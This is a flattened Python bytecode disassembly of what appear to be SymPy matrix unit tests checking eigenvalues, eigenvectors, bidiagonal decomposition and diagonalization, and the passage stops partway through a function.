LOAD_GLOBAL abs LOAD_FAST x LOAD_FAST y BINARY_SUBTRACT CALL_FUNCTION LOAD_CONST 1e-09 COMPARE_OP < POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS JUMP_ABSOLUTE POP_BLOCK LOAD_CONST None RETURN_VALUE BUILD_LIST LOAD_FAST .0 FOR_ITER to 18 STORE_FAST x LOAD_FAST x LOAD_METHOD evalf CALL_METHOD LIST_APPEND JUMP_ABSOLUTE RETURN_VALUE LOAD_GLOBAL Matrix LOAD_CONST 2 LOAD_CONST 2 LOAD_CONST 1 LOAD_CONST 0 LOAD_CONST 0 LOAD_GLOBAL I BUILD_LIST CALL_FUNCTION STORE_DEREF m LOAD_GLOBAL raises LOAD_GLOBAL NotImplementedError LOAD_CLOSURE m BUILD_TUPLE LOAD_CONST <code object <lambda> at 0x7fab82258c00, file "f.py", line 204> LOAD_CONST 'test_eigen_vects.<locals>.<lambda>' MAKE_FUNCTION CALL_FUNCTION POP_TOP LOAD_DEREF m LOAD_METHOD is_diagonalizable LOAD_CONST True CALL_METHOD POP_JUMP_IF_FALSE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL raises LOAD_GLOBAL MatrixError LOAD_CLOSURE m BUILD_TUPLE LOAD_CONST <code object <lambda> at 0x7fab82258f60, file "f.py", line 206> LOAD_CONST 'test_eigen_vects.<locals>.<lambda>' MAKE_FUNCTION CALL_FUNCTION POP_TOP LOAD_DEREF m LOAD_METHOD diagonalize LOAD_CONST True CALL_METHOD UNPACK_SEQUENCE STORE_FAST P STORE_FAST D LOAD_CONST None RETURN_VALUE LOAD_DEREF m LOAD_METHOD is_diagonalizable LOAD_CONST True CALL_METHOD RETURN_VALUE LOAD_DEREF m LOAD_METHOD diagonalize LOAD_CONST True CALL_METHOD RETURN_VALUE LOAD_GLOBAL symbols LOAD_CONST 'x y' CALL_FUNCTION UNPACK_SEQUENCE STORE_FAST x STORE_FAST y LOAD_CONST 200 STORE_DEREF n LOAD_CONST <code object <listcomp> at 0x7fab822589c0, file "f.py", line 214> LOAD_CONST 'test_issue_8240.<locals>.<listcomp>' MAKE_FUNCTION LOAD_GLOBAL range LOAD_DEREF n CALL_FUNCTION GET_ITER CALL_FUNCTION STORE_FAST diagonal_variables LOAD_CLOSURE n BUILD_TUPLE LOAD_CONST <code object <listcomp> at 0x7fab703b00c0, file "f.py", line 215> LOAD_CONST 'test_issue_8240.<locals>.<listcomp>' MAKE_FUNCTION LOAD_GLOBAL range LOAD_DEREF n CALL_FUNCTION GET_ITER CALL_FUNCTION STORE_FAST M SETUP_LOOP to 90 LOAD_GLOBAL range LOAD_DEREF n CALL_FUNCTION GET_ITER FOR_ITER to 88 STORE_FAST i LOAD_FAST diagonal_variables LOAD_FAST i BINARY_SUBSCR LOAD_FAST M LOAD_FAST i BINARY_SUBSCR LOAD_FAST i STORE_SUBSCR JUMP_ABSOLUTE POP_BLOCK LOAD_GLOBAL Matrix LOAD_FAST M CALL_FUNCTION STORE_FAST M LOAD_FAST M LOAD_METHOD eigenvals CALL_METHOD STORE_FAST eigenvals LOAD_GLOBAL len LOAD_FAST eigenvals CALL_FUNCTION LOAD_DEREF n COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS SETUP_LOOP to 160 LOAD_GLOBAL range LOAD_DEREF n CALL_FUNCTION GET_ITER FOR_ITER to 158 STORE_FAST i LOAD_FAST eigenvals LOAD_FAST diagonal_variables LOAD_FAST i BINARY_SUBSCR BINARY_SUBSCR LOAD_CONST 1 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS JUMP_ABSOLUTE POP_BLOCK LOAD_FAST M LOAD_ATTR eigenvals LOAD_CONST True LOAD_CONST ('multiple',) CALL_FUNCTION STORE_FAST eigenvals LOAD_GLOBAL set LOAD_FAST eigenvals CALL_FUNCTION LOAD_GLOBAL set LOAD_FAST diagonal_variables CALL_FUNCTION COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL Matrix LOAD_FAST x LOAD_CONST 0 LOAD_CONST 0 BUILD_LIST LOAD_CONST 1 LOAD_FAST y LOAD_CONST 0 BUILD_LIST LOAD_CONST 2 LOAD_CONST 3 LOAD_FAST x BUILD_LIST BUILD_LIST CALL_FUNCTION STORE_FAST M LOAD_FAST M LOAD_METHOD eigenvals CALL_METHOD STORE_FAST eigenvals LOAD_FAST eigenvals LOAD_FAST x LOAD_CONST 2 LOAD_FAST y LOAD_CONST 1 BUILD_MAP COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST M LOAD_ATTR eigenvals LOAD_CONST True LOAD_CONST ('multiple',) CALL_FUNCTION STORE_FAST eigenvals LOAD_GLOBAL len LOAD_FAST eigenvals CALL_FUNCTION LOAD_CONST 3 COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST eigenvals LOAD_METHOD count LOAD_FAST x CALL_METHOD LOAD_CONST 2 COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST eigenvals LOAD_METHOD count LOAD_FAST y CALL_METHOD LOAD_CONST 1 COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE BUILD_LIST LOAD_FAST .0 FOR_ITER to 22 STORE_FAST i LOAD_GLOBAL Symbol LOAD_CONST 'x%s' LOAD_FAST i BINARY_MODULO CALL_FUNCTION LIST_APPEND JUMP_ABSOLUTE RETURN_VALUE BUILD_LIST LOAD_FAST .0 FOR_ITER to 28 STORE_FAST j LOAD_CONST <code object <listcomp> at 0x7fab82258660, file "f.py", line 215> LOAD_CONST 'test_issue_8240.<locals>.<listcomp>.<listcomp>' MAKE_FUNCTION LOAD_GLOBAL range LOAD_DEREF n CALL_FUNCTION GET_ITER CALL_FUNCTION LIST_APPEND JUMP_ABSOLUTE RETURN_VALUE BUILD_LIST LOAD_FAST .0 FOR_ITER to 14 STORE_FAST i LOAD_CONST 0 LIST_APPEND JUMP_ABSOLUTE RETURN_VALUE LOAD_GLOBAL Matrix LOAD_CONST 0 LOAD_CONST 1 LOAD_CONST 1 BUILD_LIST LOAD_CONST 1 LOAD_CONST 0 LOAD_CONST 0 BUILD_LIST LOAD_CONST 1 LOAD_CONST 1 LOAD_CONST 1 BUILD_LIST BUILD_LIST CALL_FUNCTION STORE_FAST M LOAD_FAST M LOAD_METHOD eigenvals CALL_METHOD LOAD_CONST 2 LOAD_GLOBAL S LOAD_ATTR One BINARY_MULTIPLY LOAD_CONST 1 LOAD_GLOBAL S LOAD_ATTR One UNARY_NEGATIVE LOAD_CONST 1 LOAD_GLOBAL S LOAD_ATTR Zero LOAD_CONST 1 BUILD_MAP COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL Matrix LOAD_CONST 3 LOAD_CONST 0 LOAD_CONST 0 LOAD_CONST 0 LOAD_CONST -3 BUILD_LIST LOAD_CONST 0 LOAD_CONST -3 LOAD_CONST -3 LOAD_CONST 0 LOAD_CONST 3 BUILD_LIST LOAD_CONST 0 LOAD_CONST 3 LOAD_CONST 0 LOAD_CONST 3 LOAD_CONST 0 BUILD_LIST LOAD_CONST 0 LOAD_CONST 0 LOAD_CONST 3 LOAD_CONST 0 LOAD_CONST 3 BUILD_LIST LOAD_CONST 3 LOAD_CONST 0 LOAD_CONST 0 LOAD_CONST 3 LOAD_CONST 0 BUILD_LIST BUILD_LIST CALL_FUNCTION STORE_FAST m LOAD_FAST m LOAD_METHOD eigenvals CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_GLOBAL Matrix LOAD_CONST 0 LOAD_CONST 1 LOAD_CONST 1 BUILD_LIST LOAD_CONST 1 LOAD_CONST 0 LOAD_CONST 0 BUILD_LIST LOAD_CONST 1 LOAD_CONST 1 LOAD_CONST 1 BUILD_LIST BUILD_LIST CALL_FUNCTION STORE_FAST M LOAD_FAST M LOAD_METHOD eigenvects CALL_METHOD STORE_FAST vecs SETUP_LOOP to 104 LOAD_FAST vecs GET_ITER FOR_ITER to 102 UNPACK_SEQUENCE STORE_FAST val STORE_FAST mult STORE_FAST vec_list LOAD_GLOBAL len LOAD_FAST vec_list CALL_FUNCTION LOAD_CONST 1 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST M LOAD_FAST vec_list LOAD_CONST 0 BINARY_SUBSCR BINARY_MULTIPLY LOAD_FAST val LOAD_FAST vec_list LOAD_CONST 0 BINARY_SUBSCR BINARY_MULTIPLY COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS JUMP_ABSOLUTE POP_BLOCK LOAD_CONST None RETURN_VALUE LOAD_GLOBAL Matrix LOAD_CONST 0 LOAD_CONST 1 LOAD_CONST 1 BUILD_LIST LOAD_CONST 1 LOAD_CONST 0 LOAD_CONST 0 BUILD_LIST LOAD_CONST 1 LOAD_CONST 1 LOAD_CONST 1 BUILD_LIST BUILD_LIST CALL_FUNCTION STORE_FAST M LOAD_FAST M LOAD_METHOD left_eigenvects CALL_METHOD STORE_FAST vecs SETUP_LOOP to 104 LOAD_FAST vecs GET_ITER FOR_ITER to 102 UNPACK_SEQUENCE STORE_FAST val STORE_FAST mult STORE_FAST vec_list LOAD_GLOBAL len LOAD_FAST vec_list CALL_FUNCTION LOAD_CONST 1 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST vec_list LOAD_CONST 0 BINARY_SUBSCR LOAD_FAST M BINARY_MULTIPLY LOAD_FAST val LOAD_FAST vec_list LOAD_CONST 0 BINARY_SUBSCR BINARY_MULTIPLY COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS JUMP_ABSOLUTE POP_BLOCK LOAD_CONST None RETURN_VALUE LOAD_GLOBAL Matrix LOAD_CONST 1 LOAD_CONST 0 LOAD_CONST 0 BUILD_LIST LOAD_CONST 0 LOAD_CONST 1 LOAD_CONST 0 BUILD_LIST LOAD_CONST 0 LOAD_CONST 0 LOAD_CONST 1 BUILD_LIST BUILD_LIST CALL_FUNCTION STORE_FAST M LOAD_FAST M LOAD_METHOD bidiagonalize CALL_METHOD LOAD_FAST M COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST M LOAD_ATTR bidiagonalize LOAD_CONST False LOAD_CONST ('upper',) CALL_FUNCTION LOAD_FAST M COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST M LOAD_METHOD bidiagonalize CALL_METHOD LOAD_FAST M COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST M LOAD_METHOD bidiagonal_decomposition CALL_METHOD LOAD_FAST M LOAD_FAST M LOAD_FAST M BUILD_TUPLE COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST M LOAD_ATTR bidiagonal_decomposition LOAD_CONST False LOAD_CONST ('upper',) CALL_FUNCTION LOAD_FAST M LOAD_FAST M LOAD_FAST M BUILD_TUPLE COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST M LOAD_METHOD bidiagonalize CALL_METHOD LOAD_FAST M COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST 0 LOAD_CONST None IMPORT_NAME random STORE_FAST random EXTENDED_ARG SETUP_LOOP to 612 LOAD_GLOBAL range LOAD_CONST 2 CALL_FUNCTION GET_ITER EXTENDED_ARG FOR_ITER to 610 STORE_FAST real_test BUILD_LIST STORE_FAST test_values LOAD_CONST 2 STORE_FAST row LOAD_CONST 2 STORE_FAST col SETUP_LOOP to 230 LOAD_GLOBAL range LOAD_FAST row LOAD_FAST col BINARY_MULTIPLY CALL_FUNCTION GET_ITER FOR_ITER to 228 STORE_FAST _ LOAD_FAST random LOAD_METHOD randint LOAD_CONST -1000000000 LOAD_CONST 1000000000 CALL_METHOD STORE_FAST value LOAD_FAST test_values LOAD_FAST value BUILD_LIST BINARY_ADD STORE_FAST test_values JUMP_ABSOLUTE POP_BLOCK LOAD_GLOBAL Matrix LOAD_FAST row LOAD_FAST col LOAD_FAST test_values CALL_FUNCTION STORE_FAST M LOAD_GLOBAL ImmutableMatrix LOAD_FAST M CALL_FUNCTION STORE_FAST N LOAD_FAST N LOAD_METHOD bidiagonal_decomposition CALL_METHOD UNPACK_SEQUENCE STORE_FAST N1 STORE_FAST N2 STORE_FAST N3 LOAD_FAST M LOAD_METHOD bidiagonal_decomposition CALL_METHOD UNPACK_SEQUENCE STORE_FAST M1 STORE_FAST M2 STORE_FAST M3 LOAD_FAST M LOAD_METHOD bidiagonalize CALL_METHOD STORE_FAST M0 LOAD_FAST N LOAD_METHOD bidiagonalize CALL_METHOD STORE_FAST N0 LOAD_FAST N1 LOAD_FAST N2 BINARY_MULTIPLY LOAD_FAST N3 BINARY_MULTIPLY STORE_FAST N4 LOAD_FAST M1 LOAD_FAST M2 BINARY_MULTIPLY LOAD_FAST M3 BINARY_MULTIPLY STORE_FAST M4 LOAD_FAST N2 LOAD_METHOD simplify CALL_METHOD POP_TOP LOAD_FAST N4 LOAD_METHOD simplify CALL_METHOD POP_TOP LOAD_FAST N0 LOAD_METHOD simplify CALL_METHOD POP_TOP LOAD_FAST M0 LOAD_METHOD simplify CALL_METHOD POP_TOP LOAD_FAST M2 LOAD_METHOD simplify CALL_METHOD POP_TOP LOAD_FAST M4 LOAD_METHOD simplify CALL_METHOD POP_TOP LOAD_FAST M LOAD_ATTR bidiagonalize LOAD_CONST False LOAD_CONST ('upper',) CALL_FUNCTION STORE_FAST LM0 LOAD_FAST M LOAD_ATTR bidiagonal_decomposition LOAD_CONST False LOAD_CONST ('upper',) CALL_FUNCTION UNPACK_SEQUENCE STORE_FAST LM1 STORE_FAST LM2 STORE_FAST LM3 LOAD_FAST N LOAD_ATTR bidiagonalize LOAD_CONST False LOAD_CONST ('upper',) CALL_FUNCTION STORE_FAST LN0 LOAD_FAST N LOAD_ATTR bidiagonal_decomposition LOAD_CONST False LOAD_CONST ('upper',) CALL_FUNCTION UNPACK_SEQUENCE STORE_FAST LN1 STORE_FAST LN2 STORE_FAST LN3 LOAD_FAST LN1 LOAD_FAST LN2 BINARY_MULTIPLY LOAD_FAST LN3 BINARY_MULTIPLY STORE_FAST LN4 LOAD_FAST LM1 LOAD_FAST LM2 BINARY_MULTIPLY LOAD_FAST LM3 BINARY_MULTIPLY STORE_FAST LM4 LOAD_FAST LN2 LOAD_METHOD simplify CALL_METHOD POP_TOP LOAD_FAST LN4 LOAD_METHOD simplify CALL_METHOD POP_TOP LOAD_FAST LN0 LOAD_METHOD simplify CALL_METHOD POP_TOP LOAD_FAST LM0 LOAD_METHOD simplify CALL_METHOD POP_TOP LOAD_FAST LM2 LOAD_METHOD simplify CALL_METHOD POP_TOP LOAD_FAST LM4 LOAD_METHOD simplify CALL_METHOD POP_TOP LOAD_FAST M LOAD_FAST M4 COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST M2 LOAD_FAST M0 COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST N LOAD_FAST N4 COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST N2 LOAD_FAST N0 COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST M LOAD_FAST LM4 COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST LM2 LOAD_FAST LM0 COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST N LOAD_FAST LN4 COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST LN2 LOAD_FAST LN0 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS JUMP_ABSOLUTE POP_BLOCK EXTENDED_ARG SETUP_LOOP to 1094 LOAD_GLOBAL range LOAD_CONST 2 CALL_FUNCTION GET_ITER EXTENDED_ARG FOR_ITER to 1092 STORE_FAST complex_test BUILD_LIST STORE_FAST test_values LOAD_CONST 2 STORE_FAST size SETUP_LOOP to 708 LOAD_GLOBAL range LOAD_FAST size LOAD_FAST size BINARY_MULTIPLY CALL_FUNCTION GET_ITER FOR_ITER to 706 STORE_FAST _ LOAD_FAST random LOAD_METHOD randint LOAD_CONST -1000000000 LOAD_CONST 1000000000 CALL_METHOD STORE_FAST real LOAD_FAST random LOAD_METHOD randint LOAD_CONST -1000000000 LOAD_CONST 1000000000 CALL_METHOD STORE_FAST comp LOAD_FAST real LOAD_FAST comp LOAD_GLOBAL I BINARY_MULTIPLY BINARY_ADD STORE_FAST value LOAD_FAST test_values LOAD_FAST value BUILD_LIST BINARY_ADD STORE_FAST test_values EXTENDED_ARG JUMP_ABSOLUTE POP_BLOCK LOAD_GLOBAL Matrix LOAD_FAST size LOAD_FAST size LOAD_FAST test_values CALL_FUNCTION STORE_FAST M LOAD_GLOBAL ImmutableMatrix LOAD_FAST M CALL_FUNCTION STORE_FAST N LOAD_FAST N LOAD_METHOD bidiagonal_decomposition CALL_METHOD UNPACK_SEQUENCE STORE_FAST N1 STORE_FAST N2 STORE_FAST N3 LOAD_FAST M LOAD_METHOD bidiagonal_decomposition CALL_METHOD UNPACK_SEQUENCE STORE_FAST M1 STORE_FAST M2 STORE_FAST M3 LOAD_FAST M LOAD_METHOD bidiagonalize CALL_METHOD STORE_FAST M0 LOAD_FAST N LOAD_METHOD bidiagonalize CALL_METHOD STORE_FAST N0 LOAD_FAST N1 LOAD_FAST N2 BINARY_MULTIPLY LOAD_FAST N3 BINARY_MULTIPLY STORE_FAST N4 LOAD_FAST M1 LOAD_FAST M2 BINARY_MULTIPLY LOAD_FAST M3 BINARY_MULTIPLY STORE_FAST M4 LOAD_FAST N2 LOAD_METHOD simplify CALL_METHOD POP_TOP LOAD_FAST N4 LOAD_METHOD simplify CALL_METHOD POP_TOP LOAD_FAST N0 LOAD_METHOD simplify CALL_METHOD POP_TOP LOAD_FAST M0 LOAD_METHOD simplify CALL_METHOD POP_TOP LOAD_FAST M2 LOAD_METHOD simplify CALL_METHOD POP_TOP LOAD_FAST M4 LOAD_METHOD simplify CALL_METHOD POP_TOP LOAD_FAST M LOAD_ATTR bidiagonalize LOAD_CONST False LOAD_CONST ('upper',) CALL_FUNCTION STORE_FAST LM0 LOAD_FAST M LOAD_ATTR bidiagonal_decomposition LOAD_CONST False LOAD_CONST ('upper',) CALL_FUNCTION UNPACK_SEQUENCE STORE_FAST LM1 STORE_FAST LM2 STORE_FAST LM3 LOAD_FAST N LOAD_ATTR bidiagonalize LOAD_CONST False LOAD_CONST ('upper',) CALL_FUNCTION STORE_FAST LN0 LOAD_FAST N LOAD_ATTR bidiagonal_decomposition LOAD_CONST False LOAD_CONST ('upper',) CALL_FUNCTION UNPACK_SEQUENCE STORE_FAST LN1 STORE_FAST LN2 STORE_FAST LN3 LOAD_FAST LN1 LOAD_FAST LN2 BINARY_MULTIPLY LOAD_FAST LN3 BINARY_MULTIPLY STORE_FAST LN4 LOAD_FAST LM1 LOAD_FAST LM2 BINARY_MULTIPLY LOAD_FAST LM3 BINARY_MULTIPLY STORE_FAST LM4 LOAD_FAST LN2 LOAD_METHOD simplify CALL_METHOD POP_TOP LOAD_FAST LN4 LOAD_METHOD simplify CALL_METHOD POP_TOP LOAD_FAST LN0 LOAD_METHOD simplify CALL_METHOD POP_TOP LOAD_FAST LM0 LOAD_METHOD simplify CALL_METHOD POP_TOP LOAD_FAST LM2 LOAD_METHOD simplify CALL_METHOD POP_TOP LOAD_FAST LM4 LOAD_METHOD simplify CALL_METHOD POP_TOP LOAD_FAST M LOAD_FAST M4 COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST M2 LOAD_FAST M0 COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST N LOAD_FAST N4 COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST N2 LOAD_FAST N0 COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST M LOAD_FAST LM4 COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST LM2 LOAD_FAST LM0 COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST N LOAD_FAST LN4 COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST LN2 LOAD_FAST LN0 COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS EXTENDED_ARG JUMP_ABSOLUTE POP_BLOCK LOAD_GLOBAL Matrix LOAD_CONST 18 LOAD_CONST 8 LOAD_GLOBAL range LOAD_CONST 1 LOAD_CONST 145 CALL_FUNCTION CALL_FUNCTION STORE_FAST M LOAD_FAST M LOAD_METHOD applyfunc LOAD_CONST <code object <lambda> at 0x7fab703b01e0, file "f.py", line 386> LOAD_CONST 'test_bidiagonalize.<locals>.<lambda>' MAKE_FUNCTION CALL_METHOD STORE_FAST M LOAD_FAST M LOAD_METHOD bidiagonal_decomposition CALL_METHOD LOAD_CONST 1 BINARY_SUBSCR LOAD_FAST M LOAD_METHOD bidiagonalize CALL_METHOD COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST M LOAD_ATTR bidiagonal_decomposition LOAD_CONST False LOAD_CONST ('upper',) CALL_FUNCTION LOAD_CONST 1 BINARY_SUBSCR LOAD_FAST M LOAD_ATTR bidiagonalize LOAD_CONST False LOAD_CONST ('upper',) CALL_FUNCTION COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST M LOAD_METHOD bidiagonal_decomposition CALL_METHOD UNPACK_SEQUENCE STORE_FAST a STORE_FAST b STORE_FAST c LOAD_FAST a LOAD_FAST b BINARY_MULTIPLY LOAD_FAST c BINARY_MULTIPLY LOAD_FAST M BINARY_SUBTRACT STORE_FAST diff LOAD_GLOBAL abs LOAD_GLOBAL max LOAD_FAST diff CALL_FUNCTION CALL_FUNCTION LOAD_CONST 1e-12 COMPARE_OP < EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_GLOBAL Float LOAD_FAST i CALL_FUNCTION RETURN_VALUE LOAD_GLOBAL Matrix LOAD_CONST 2 LOAD_CONST 2 LOAD_CONST 0 LOAD_CONST -1 LOAD_CONST 1 LOAD_CONST 0 BUILD_LIST CALL_FUNCTION STORE_DEREF m LOAD_GLOBAL raises LOAD_GLOBAL MatrixError LOAD_CLOSURE m BUILD_TUPLE LOAD_CONST <code object <lambda> at 0x7fab703b06f0, file "f.py", line 396> LOAD_CONST 'test_diagonalize.<locals>.<lambda>' MAKE_FUNCTION CALL_FUNCTION POP_TOP LOAD_DEREF m LOAD_METHOD diagonalize CALL_METHOD UNPACK_SEQUENCE STORE_FAST P STORE_FAST D LOAD_FAST D LOAD_METHOD is_diagonal CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST D LOAD_GLOBAL Matrix LOAD_GLOBAL I UNARY_NEGATIVE LOAD_CONST 0 BUILD_LIST LOAD_CONST 0 LOAD_GLOBAL I BUILD_LIST BUILD_LIST CALL_FUNCTION COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL Matrix LOAD_CONST 2 LOAD_CONST 2 LOAD_CONST 0 LOAD_CONST 0.5 LOAD_CONST 0.5 LOAD_CONST 0 BUILD_LIST CALL_FUNCTION STORE_DEREF m LOAD_DEREF m LOAD_METHOD diagonalize CALL_METHOD UNPACK_SEQUENCE STORE_FAST P STORE_FAST D LOAD_GLOBAL all LOAD_CONST <code object <genexpr> at 0x7fab703b08a0, file "f.py", line 403> LOAD_CONST 'test_diagonalize.<locals>.<genexpr>' MAKE_FUNCTION LOAD_FAST D LOAD_METHOD values CALL_METHOD GET_ITER CALL_FUNCTION CALL_FUNCTION POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL all LOAD_CONST <code object <genexpr> at 0x7fab703b0390, file "f.py", line 404> LOAD_CONST 'test_diagonalize.<locals>.<genexpr>' MAKE_FUNCTION LOAD_FAST P LOAD_METHOD values CALL_METHOD GET_ITER CALL_FUNCTION CALL_FUNCTION POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_DEREF m LOAD_ATTR diagonalize LOAD_CONST True LOAD_CONST ('reals_only',) CALL_FUNCTION UNPACK_SEQUENCE STORE_FAST _ STORE_FAST D2 LOAD_FAST D LOAD_FAST D2 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL Matrix LOAD_CONST 0 LOAD_CONST 1 LOAD_CONST 0 LOAD_CONST 0 BUILD_LIST LOAD_CONST 1 LOAD_CONST 0 LOAD_CONST 0 LOAD_CONST 0.002 BUILD_LIST LOAD_CONST 0.002 LOAD_CONST 0 LOAD_CONST 0 LOAD_CONST 1 BUILD_LIST LOAD_CONST 0 LOAD_CONST 0 LOAD_CONST 1 LOAD_CONST 0 BUILD_LIST BUILD_LIST CALL_FUNCTION STORE_DEREF m LOAD_DEREF m LOAD_METHOD diagonalize CALL_METHOD UNPACK_SEQUENCE STORE_FAST P STORE_FAST D LOAD_GLOBAL allclose LOAD_FAST P LOAD_FAST D BINARY_MULTIPLY LOAD_DEREF m LOAD_FAST P BINARY_MULTIPLY CALL_FUNCTION EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_DEREF m LOAD_ATTR diagonalize LOAD_CONST True LOAD_CONST ('reals_only',) CALL_FUNCTION RETURN_VALUE LOAD_FAST .0 FOR_ITER to 20 STORE_FAST e LOAD_GLOBAL isinstance LOAD_FAST e LOAD_GLOBAL Float CALL_FUNCTION YIELD_VALUE POP_TOP JUMP_ABSOLUTE LOAD_CONST None RETURN_VALUE LOAD_FAST .0 FOR_ITER to 20 STORE_FAST e LOAD_GLOBAL isinstance LOAD_FAST e LOAD_GLOBAL Float CALL_FUNCTION YIELD_VALUE POP_TOP JUMP_ABSOLUTE LOAD_CONST None RETURN_VALUE LOAD_GLOBAL symbols LOAD_CONST 'a b c' CALL_FUNCTION UNPACK_SEQUENCE STORE_FAST a STORE_FAST b STORE_FAST c LOAD_GLOBAL Matrix LOAD_CONST 2 LOAD_CONST 2 LOAD_FAST a LOAD_FAST c LOAD_FAST c LOAD_FAST b BUILD_LIST CALL_FUNCTION STORE_FAST m LOAD_FAST m LOAD_METHOD is_symmetric CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST m LOAD_METHOD is_diagonalizable CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL Matrix LOAD_CONST 2 LOAD_CONST 2 LOAD_CONST 1 LOAD_CONST 1 LOAD_CONST 0 LOAD_CONST 1 BUILD_LIST CALL_FUNCTION LOAD_METHOD is_diagonalizable CALL_METHOD POP_JUMP_IF_FALSE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL Matrix LOAD_CONST 2 LOAD_CONST 2 LOAD_CONST 0 LOAD_CONST -1 LOAD_CONST 1 LOAD_CONST 0 BUILD_LIST CALL_FUNCTION STORE_FAST m LOAD_FAST m LOAD_METHOD is_diagonalizable CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST m LOAD_ATTR is_diagonalizable LOAD_CONST True LOAD_CONST ('reals_only',) CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_GLOBAL Matrix LOAD_CONST 3 LOAD_CONST 2 LOAD_CONST -3 LOAD_CONST 1 LOAD_CONST -3 LOAD_CONST 20 LOAD_CONST 3 